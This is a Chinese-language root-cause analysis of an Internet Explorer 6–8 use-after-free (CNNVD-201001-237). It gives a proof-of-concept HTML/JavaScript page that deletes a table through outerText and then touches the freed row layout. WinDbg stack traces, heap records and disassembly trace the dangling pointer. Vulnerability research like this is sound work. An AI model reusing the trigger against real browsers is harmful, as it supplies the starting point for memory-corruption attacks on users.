[CNNVD]Microsoft Internet Explorer 多个远程代码执行漏洞(CNNVD-201001-237)
Microsoft Internet Explorer 6, 6 SP1, 7, 和 8版本没有适当地处理内存中的对象，这可能会允许远程攻击者通过访问(1)未被适当初始化的或(2)被删除的一个对象，执行任意代码。该漏洞会引起内存破坏，它又称为"未初始化内存漏洞"。
POC
<html>
<body>
<table id="test"> <tr></tr> </table>
<script>
Math.tan(2,3);
var test = document.getElementById("test");
Math.sin(0);
var x = test.cells.item(0);
Math.cos(0);
test.outerText = 'test text'; // 删除表格
Math.tan(2,3);
x = test.cells.item(0); // 再试图引用表格的元素，此时将访问已释放的内存
</script>
</body>
</html>
重利用
:> r
eax=0644efa0 ebx= ecx= edx= esi= edi=06e0bfd8
eip=685dbb57 esp=0429ef60 ebp=0429efa8 iopl= nv up ei pl nz na pe nc
cs=001b ss= ds= es= fs=003b gs= efl=
mshtml!CTableCellsCollectionCacheItem::GetNext+0x12:
685dbb57 3b4854 cmp ecx,dword ptr [eax+54h] ds::0644eff4=????????
:> kv
ChildEBP RetAddr Args to Child
0429ef60 063ecfd0 mshtml!CTableCellsCollectionCacheItem::GetNext+0x12 (FPO: [,,])
0429efa8 063ecfd0 07cbcc18 mshtml!CCollectionCache::GetIntoAry+0x4e
0429efec 684044a2 07cbcc18 0429f0d8 mshtml!CCollectionCache::GetDispID+0x13e
0429f000 684190d4 063ecfd0 07cbcc18 mshtml!DispatchGetDispIDCollection+0x3f
0429f028 683f1e59 06e0dfd8 07cbcc18 mshtml!CElementCollectionBase::VersionedGetDispID+0x46
0429f06c 68a3a304 06657fd8 07cbcc18 mshtml!PlainGetDispID+0xdc
0429f09c 68a3a272 07cbcc18 0429f0d8 06657fd8 jscript!IDispatchExGetDispID+0xa5
0429f0b4 68a3a47a 05646d10 0429f0d8 jscript!GetDex2DispID+0x31
0429f0e0 68a4d8c8 05646d10 0429f114 jscript!VAR::InvokeByName+0xee
0429f12c 68a4d96f 05646d10 0429f2ac jscript!VAR::InvokeDispName+0x7d
0429f158 68a451b6 05646d10 jscript!VAR::InvokeByDispID+0xce
0429f2f4 68a45c9d 0429f30c 0429f450 07ccaf88 jscript!CScriptRuntime::Run+0x2a97
0429f3dc 68a45bfb 0429f450 jscript!ScrFncObj::CallWithFrameOnStack+0xce
0429f424 68a45e11 0429f450 jscript!ScrFncObj::Call+0x8d
0429f4a0 68a4612a 07ccaf88 0429f660 jscript!CSession::Execute+0x15f
0429f4ec 68a4c2d9 0563cdf0 0429f660 0429f670 jscript!COleScript::ExecutePendingScripts+0x1bd
0429f550 68a4c0f1 0563cdf0 071a2fec jscript!COleScript::ParseScriptTextCore+0x2a4
0429f578 683368c7 0563cdf4 06e30e14 071a2fec jscript!COleScript::ParseScriptText+0x30
0429f5d0 683366bf 0711cfa8 07184f30 mshtml!CScriptCollection::ParseScriptText+0x218
0429f694 68336c35 mshtml!CScriptElement::CommitCode+0x3ae
释放
:> r
eax=681c95f8 ebx=07762fc0 ecx=06572fa0 edx=057b1980 esi=06572fa0 edi=07762fc0
eip=683e2f5b esp=041aedf0 ebp=041aee0c iopl= nv up ei pl zr na pe nc
cs=001b ss= ds= es= fs=003b gs= efl=
mshtml!CLayout::Release:
683e2f5b 8bff mov edi,edi
:> kv
ChildEBP RetAddr Args to Child
041aedec 683e32d0 06572fa0 07762fc0 mshtml!CLayout::Release
041aee0c 68387da7 0676ef30 041aef78 mshtml!CElement::Passivate+0xce
041aee1c 683e0fdf 07762fc0 682c660e mshtml!CBase::PrivateRelease+0x2d
041aee28 682c660e 0676ef30 mshtml!CElement::PrivateExitTree+0x11 (FPO: [,,])
041aef78 682c5b42 041af09c 7728517e mshtml!CSpliceTreeEngine::RemoveSplice+0x841
041af058 682c6ff9 041af090 041af09c mshtml!CMarkup::SpliceTreeInternal+0x83
041af0a8 682c6f39 041af108 041af144 mshtml!CDoc::CutCopyMove+0xca
041af0c4 682c6f17 041af108 041af144 mshtml!CDoc::Remove+0x18
041af0dc 681f288a 041af144 07799fb8 07a54c58 mshtml!RemoveWithBreakOnEmpty+0x3a
041af180 682c704a 07a54c58 mshtml!CElement::InjectInternal+0x32a
041af19c 6850aee9 07799fb8 mshtml!CElement::InjectCompatBSTR+0x46
041af1c0 684072d6 07799fb8 07a54c58 07a72fd0 mshtml!CElement::put_outerText+0x25
041af1f0 683f235c 07799fb8 07a72fd0 0771efd8 mshtml!GS_BSTR+0x1ac
041af264 683fc75a 07799fb8 mshtml!CBase::ContextInvokeEx+0x5dc
041af2b4 6826f1e5 07799fb8 mshtml!CElement::ContextInvokeEx+0x9d
041af2f8 683a3104 07799fb8 mshtml!CTable::VersionedInvokeEx+0xbf
041af34c 6baca22a 04fbefd8 mshtml!PlainInvokeEx+0xeb
041af388 6baca175 070fed10 jscript!IDispatchExInvokeEx2+0x104
041af3c4 6baca3f6 070fed10 jscript!IDispatchExInvokeEx+0x6a
041af484 6baca4a0 jscript!InvokeDispatchEx+0x98
分配
:> !heap -p -a 06572fa0
address 06572fa0 found in
_DPH_HEAP_ROOT @
in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)
65b25e4: 6572fa0 5c -
mshtml!CTableRowLayout::`vftable'
70228e89 verifier!AVrfDebugPageHeapAllocate+0x00000229
77284ea6 ntdll!RtlDebugAllocateHeap+0x00000030
77247d96 ntdll!RtlpAllocateHeap+0x000000c4
772134ca ntdll!RtlAllocateHeap+0x0000023a
68319b3b mshtml!GetLayoutFromFactory+0x00000697
683bdf7b mshtml!CElement::CreateLayout+0x00000021
682bd56d mshtml!CTableRow::RowLayoutCache+0x00000043
682bcff2 mshtml!CTableRow::Notify+0x00000176
6830780a mshtml!CHtmRootParseCtx::FlushNotifications+0x000001bf
68306bb5 mshtml!CHtmRootParseCtx::Commit+0x0000000a
682f77cf mshtml!CHtmPost::Broadcast+0x0000000f
682f7924 mshtml!CHtmPost::Exec+0x00000255
682f8a99 mshtml!CHtmPost::Run+0x00000015
682f89fd mshtml!PostManExecute+0x000001fb
682f95b6 mshtml!CPostManager::PostManOnTimer+0x00000134
683994b2 mshtml!GlobalWndOnMethodCall+0x000000ff
683837f7 mshtml!GlobalWndProc+0x0000010c
76c686ef USER32!InternalCallWinProc+0x00000023
76c68876 USER32!UserCallWinProcCheckWow+0x0000014b
76c689b5 USER32!DispatchMessageWorker+0x0000035e
76c68e9c USER32!DispatchMessageW+0x0000000f
6ea704a6 IEFRAME!CTabWindow::_TabWindowThreadProc+0x00000452
6ea80446 IEFRAME!LCIETab_ThreadProc+0x000002c1
76a749bd iertutil!CIsoScope::RegisterThread+0x000000ab
77111174 kernel32!BaseThreadInitThunk+0x0000000e
7721b3f5 ntdll!__RtlUserThreadStart+0x00000070
7721b3c8 ntdll!_RtlUserThreadStart+0x0000001b
分析得出CTableRowLayout为发生UAF的对象
<table id="test"> <tr></tr> </table>
创建了CTableRowLayout对象
test.outerText = 'test text';
释放了CTableRowLayout对象
x = test.cells.item(0);
悬垂指针引用了CTableRowLayout对象
为什么会解引用已释放的对象？悬垂指针是怎么产生的？
为了搞清楚这点，我们需要从重利用的地方开始分析，因为重利用的地方即是使用悬垂指针的地方。
.text:7503BB45 mov edi, edi
.text:7503BB47 push edi
.text:7503BB48 mov edi, ecx
.text:7503BB4A mov eax, [edi+0Ch]
.text:7503BB4D inc dword ptr [edi+20h]
.text:7503BB50 test eax, eax
.text:7503BB52 jz short loc_7503BB64
.text:7503BB54 mov ecx, [edi+4]
.text:7503BB57 cmp ecx, [eax+54h]
可以看出是ecx代表的数据结构中储存了指向UAF对象的悬垂指针
1:021> dd edi
0701cfd8 685dc138 00000000 00000000 070aefa0
0701cfe8 ffffffff ffffffff ffffffff 07874ea8
0701cff8 00000001 d0d0d0d0 ???????? ????????
0701d008 ???????? ???????? ???????? ????????
0701d018 ???????? ???????? ???????? ????????
0701d028 ???????? ???????? ???????? ????????
0701d038 ???????? ???????? ???????? ????????
0701d048 ???????? ???????? ???????? ????????
1:021> !heap -p -a edi
address 0701cfd8 found in
_DPH_HEAP_ROOT @ 51000
in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)
6661d9c: 701cfd8 24 - 701c000 2000
mshtml!CTableCellsCollectionCacheItem::`vftable'
70228e89 verifier!AVrfDebugPageHeapAllocate+0x00000229
77284ea6 ntdll!RtlDebugAllocateHeap+0x00000030
77247d96 ntdll!RtlpAllocateHeap+0x000000c4
772134ca ntdll!RtlAllocateHeap+0x0000023a
685dc0fc mshtml!CTable::EnsureCollectionCache+0x00000201
685e9a59 mshtml!CTable::get_cells+0x00000047
683fde50 mshtml!G_IDispatchp+0x0000007b
683f235c mshtml!CBase::ContextInvokeEx+0x000005dc
683fc75a mshtml!CElement::ContextInvokeEx+0x0000009d
6826f1e5 mshtml!CTable::VersionedInvokeEx+0x000000bf
683a3104 mshtml!PlainInvokeEx+0x000000eb
6baca22a jscript!IDispatchExInvokeEx2+0x00000104
6baca175 jscript!IDispatchExInvokeEx+0x0000006a
6baca3f6 jscript!InvokeDispatchEx+0x00000098
6baca4a0 jscript!VAR::InvokeByName+0x00000139
6bade37e jscript!CScriptRuntime::Run+0x00000666
6bad5c9d jscript!ScrFncObj::CallWithFrameOnStack+0x000000ce
6bad5bfb jscript!ScrFncObj::Call+0x0000008d
6bad5e11 jscript!CSession::Execute+0x0000015f
6bad612a jscript!COleScript::ExecutePendingScripts+0x000001bd
6badc2d9 jscript!COleScript::ParseScriptTextCore+0x000002a4
6badc0f1 jscript!COleScript::ParseScriptText+0x00000030
683368c7 mshtml!CScriptCollection::ParseScriptText+0x00000218
683366bf mshtml!CScriptElement::CommitCode+0x000003ae
68336c35 mshtml!CScriptElement::Execute+0x000000c6
683182b5 mshtml!CHtmParse::Execute+0x0000004a
682f77cf mshtml!CHtmPost::Broadcast+0x0000000f
682f7f36 mshtml!CHtmPost::Exec+0x000005f7
682f8a99 mshtml!CHtmPost::Run+0x00000015
682f89fd mshtml!PostManExecute+0x000001fb
682f95b6 mshtml!CPostManager::PostManOnTimer+0x00000134
683994b2 mshtml!GlobalWndOnMethodCall+0x000000ff
经查阅资料0701cfd8处的数据结构是CTableCellsCollectionCacheItem，这个数据结构作为缓存储存了CTableRowLayout对象的指针。但是当CTableRowLayout对象释放后，这个指针却没有及时的销毁，导致了UAF漏洞的发生。